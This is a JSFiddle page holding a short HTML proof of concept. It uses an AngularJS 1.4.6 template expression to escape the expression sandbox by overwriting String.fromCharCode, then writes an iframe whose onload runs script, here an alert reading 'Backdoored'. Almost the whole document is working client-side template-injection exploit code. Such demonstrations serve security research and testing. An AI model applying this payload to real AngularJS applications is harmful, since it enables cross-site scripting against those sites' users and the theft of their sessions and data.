JSFiddle - React, Tailwind, and code Playground

HTML

<html>
<head> 
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script>
</head>
<body>
<div ng-app>
{{
    'a'.constructor.fromCharCode=[].join;
    'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';    
}}
</div>
<script>
onload=function(){
  document.write(String.fromCharCode(97));
}
</script>
</body>
</html>